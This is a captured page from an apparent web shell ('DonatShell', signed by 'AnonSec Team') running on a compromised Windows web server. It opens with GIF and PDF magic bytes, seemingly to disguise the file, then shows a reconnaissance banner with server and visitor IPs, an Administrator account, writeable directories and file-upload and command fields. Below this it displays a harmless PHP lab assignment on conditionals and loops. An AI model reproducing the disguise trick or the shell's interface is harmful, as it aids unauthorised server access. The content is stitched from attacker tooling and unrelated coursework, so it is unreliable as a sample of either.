GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1146/Labs/Lab05/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1146/Labs/Lab05/Lab05.phpinc
<?
// JimMartinson/CST1146/Labs/Lab03/Lab03.phpinc

#if ( $_SESSION['userId'] == 1 ) $showEvaluationVariables = true;
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
#if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_END.phpinc'); exit; } 
include('common/Browser/Browser.phpinc');

$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

// NOTE: Disable Include conf/extra/httpd-autoindex.conf line in the httpd.conf file before labs.
// OR: Fix labs so Lab 4 mod_autoindex works as it should.
?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend>
The purpose of this lab is to demonstrate the use of php conditional statements and loops.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend>
<ol class="count">
	<!-- 1 -->
	<li>Create a directory called <b class="copyText"><?=$evaluationName?></b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. We will use it for all work performed in this lab.</li>
	<!-- 2 -->
	<li>Create a PHP file called <b class="copyText"><?=$saveFilename?>.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor.
		<br>All code below will be written into this file.
		<br>Create a stub file with the <span class="php">$labNumber</span>, <span class="php">$myName</span>, <span class="html">!DOCTYPE</span>, <span class="html">html</span>, <span class="html">head</span>, <span class="html">title</span>, <span class="html">meta charset</span>, and <span class="html">body</span>, and <span class="html">h1</span> variables, elements, and tags. <span class="note"><a href="#notes">See notes</a>.</span>
	</li>
	<!-- 3 -->
	<li>Demonstrate the use of if...else:
		<ol>
			<li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">if...else</span>.</li>
			<li>Create a php variable and give it an integer value.</li>
			<li>Create another php variable and give it a different integer value.</li>
			<li>Display the name and value of each variable.</li>
			<li>Use the if...else conditional statement to display which variable has the greater value.</li>
		</ol>
		<span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span>
	</li>
	<!-- 4 -->
	<li>Demonstrate the use of if...elseif...else:
		<ol>
			<li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">if...elseif...else</span>.</li>
			<li>Create another php variable and give it a different integer value.</li>
			<li>Display the name and value of this variable.</li>
			<li>Use the if...elseif...else conditional statement to display which variable has the least value.</li>
			<li>Set the seconed variable equal to the first variable minus one.</li>
			<li>Set the third variable equal to the first variable minus one.</li>
			<li>Display the values of the second and third variables.</li>
			<li>Copy and paste your if...elseif...else conditional statement from step 4.4 below that.</li>
		</ol>
		<span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span>
	</li>
	<!-- 5 -->
	<li>Demonstrate the use of the PHP ternary operator:
		<ol>
			<li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">ternary operator</span>.</li>
			<li>Display the values of the first and second variables.</li>
			<li>Use a compound ternary statement compare the first and second variables to determine which is greater or if they are equal.
				<br>Set the variable <b class="copyText">$strOne</b> to <b class="copyText">'greater than'</b>, <b class="copyText">'less than'</b>, or <b class="copyText">'equal to'</b> depending on which is true.
				<span class="note">Remember the use of parentheses.</span>
			</li>
			<li>Copy this php statement below that: <span class="php copyText">echo 'The first variable is ',$strOne,' the second variable.',"<br>\n";</span></li>
			<li>Set the second variable equal to the first variable plus 5.</li>
			<li>Display the value of the second variable.</li>
			<li>Copy the ternary statement from step 5.3 and the statement from step 5.4 below that.</li>
			<li>Set the second variable equal to the value first variable.</li>
			<li>Display the value of the second variable.</li>
			<li>Copy the ternary statement from step 5.3 and the statement from step 5.4 below that.</li>
		</ol>
	</li>
	<!-- 6 -->
	<li>Demonstrate the use of the switch statement:
		<ol>
			<li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">switch</span>.</li>
			<li>Copy this php statement below the h2: <span class="php copyText">$today = date("D");</span>
				<span class="note">This will give $today a value of the first three letters on the weekday.</span>
			</li>
			<li>Write a switch statement that displays which day it is for each work week day (Monday thru Friday) with a default for week end days of <b class="copyText">Enjoy your Weekend!</b>.
				<br><span class="note">You can set the $today variable to another day's value (Mon, Tue, Wed, Thu, Fri, Sat, or Sun) to test your switch statement.</span>
			</li>
		</ol>
	</li>
	<!-- 7 -->
	<li>Demonstrate the use of the while statement:
		<ol>
			<li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">while</span>.</li>
			<li>Set the variable <b class="php copText">$x</b> to the value 5.</li>
			<li>Write a php <b class="php copText">while</b> statement that displays the value of $x if it is less than 10 and then increments the value of $x by 2.</li>
		</ol>
	</li>
	<!-- 8 -->
	<li>Demonstrate the use of the for statement:
		<ol>
			<li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">for</span>.</li>
			<li>Write a  <b class="php copText">for</b> statement that begins with the value 1 and goes until the value 10 with an increment of 3 that displays the value of the loop variable.</li>
		</ol>
	</li>
	<!-- 9 -->
	<li>Verify that your page works.
		<ol type="i">
			<li>Start Apache if it is not running.</li>
			<li>Open up a browser.</li>
			<li>In the address bar enter <b class="copyText">http://localhost/CST1146/<?=$evaluationName?>/</b> and hit enter.</li>
			<li>Click on your <b><?=$saveFilename?>.php</b> file.
				<br>You should see a page like:<br>
				<? BrowserBegin('Lab '.$evaluationNumber.' - '.$userFullName,'http://localhost/CST1146/'.$saveFilename.'.php',820); ?>
	<h1 class="left">Lab <?=$evaluationNumber?> - <?=$userFullName?></h1>
				
				<h2>if...else</h2>
				<?php
				$intOne = 22;
				$intTwo = 10;
				echo '$intOne = ',var_dump($intOne);
				echo "<br>\n";
				echo '$intTwo = ',var_dump($intTwo);
				echo "<br>\n";
				if ( $intOne > $intTwo ) {
					echo '$intOne is greater that $intTwo.';
					echo "<br>\n";
				} else {
					echo '$intTwo is greater that $intOne.';
					echo "<br>\n";
				}
				?>
				
				<h2>if...elseif...else</h2>
				<?php
				$intThree = 19;
				echo '$intThree = ',var_dump($intThree);
				echo "<br>\n";
				if ( $intOne < $intTwo && $intOne < $intThree ) {
					echo '$intOne is the least.';
					echo "<br>\n";
				} elseif ( $intTwo < $intOne && $intTwo < $intThree ) {
					echo '$intTwo is the least.';
					echo "<br>\n";
				} else {
					echo '$intThree is the least.';
					echo "<br>\n";
				}
				$intTwo = $intOne - 1;
				$intThree = $intOne - 1;
				echo '$intTwo = ',var_dump($intTwo);
				echo "<br>\n";
				echo '$intThree = ',var_dump($intThree);
				echo "<br>\n";
				if ( $intOne < $intTwo && $intOne < $intThree ) {
					echo '$intOne is the least.';
					echo "<br>\n";
				} elseif ( $intTwo < $intOne && $intTwo < $intThree ) {
					echo '$intTwo is the least.';
					echo "<br>\n";
				} else {
					echo '$intThree is the least.';
					echo "<br>\n";
				}
				?>
				<h2>ternary operator</h2>
				<?php
				echo '$intOne = ',var_dump($intOne);
				echo "<br>\n";
				echo '$intTwo = ',var_dump($intTwo);
				echo "<br>\n";
				$strOne = $intOne < $intTwo ? 'less than' : ( $intOne > $intTwo ? 'greater than' : 'equal to' );
				echo 'The first variable is ',$strOne,' the second variable.',"<br>\n";
				$intTwo = $intOne + 5;
				echo '$intTwo = ',var_dump($intTwo);
				echo "<br>\n";
				$strOne = $intOne < $intTwo ? 'less than' : ( $intOne > $intTwo ? 'greater than' : 'equal to' );
				echo 'The first variable is ',$strOne,' the second variable.',"<br>\n";
				$intTwo = $intOne;
				echo '$intTwo = ',var_dump($intTwo);
				echo "<br>\n";
				$strOne = $intOne < $intTwo ? 'less than' : ( $intOne > $intTwo ? 'greater than' : 'equal to' );
				echo 'The first variable is ',$strOne,' the second variable.',"<br>\n";
				?>
				
				<h2>switch</h2>
				<?php
				$today = date("D");
				#$today = "Sat";
				switch ($today) {
				case "Mon":
					echo "Today is Monday.";
					break;
				case "Tue":
					echo "Today is Tuesday.";
					break;
				case "Wed":
					echo "Today is Wednesday.";
					break;
				case "Thu":
					echo "Today is Thursday";
					break;
				case "Fri":
					echo "Today is Friday..";
					break;
					default:
						echo "Enjoy your Weekend!";
				}
				echo "<br>\n";
				?>
				
				<h2>while</h2>
				<?php
				$x = 5;
				while ( $x < 10 ) {
					echo '$x = ',var_dump($x);
					echo "<br>\n";
					$x += 2;
				}
				?>
				
				<h2>for</h2>
				<?php
				for ($x=1; $x<=10; $x+=3) {
					echo '$x = ',var_dump($x);
					echo "<br>\n";
				}
				?>
				
				<? BrowserEnd(); ?>
				If this is not what you see then you have errors in your code.
			</li>
			<li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Make sure that the address bar is visible in your browser before saving the image.
			</li>
		</ol>
	</li>
	<!-- 10 -->
	<li>Turn in your assignment:
		<ol>
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder.
				<br><?=$saveFilename?>.php
				<br><?=$saveFilename?>.png
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<?
require('../LabNotes.phpinc');
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
?>

Anon7 - 2022
AnonSec Team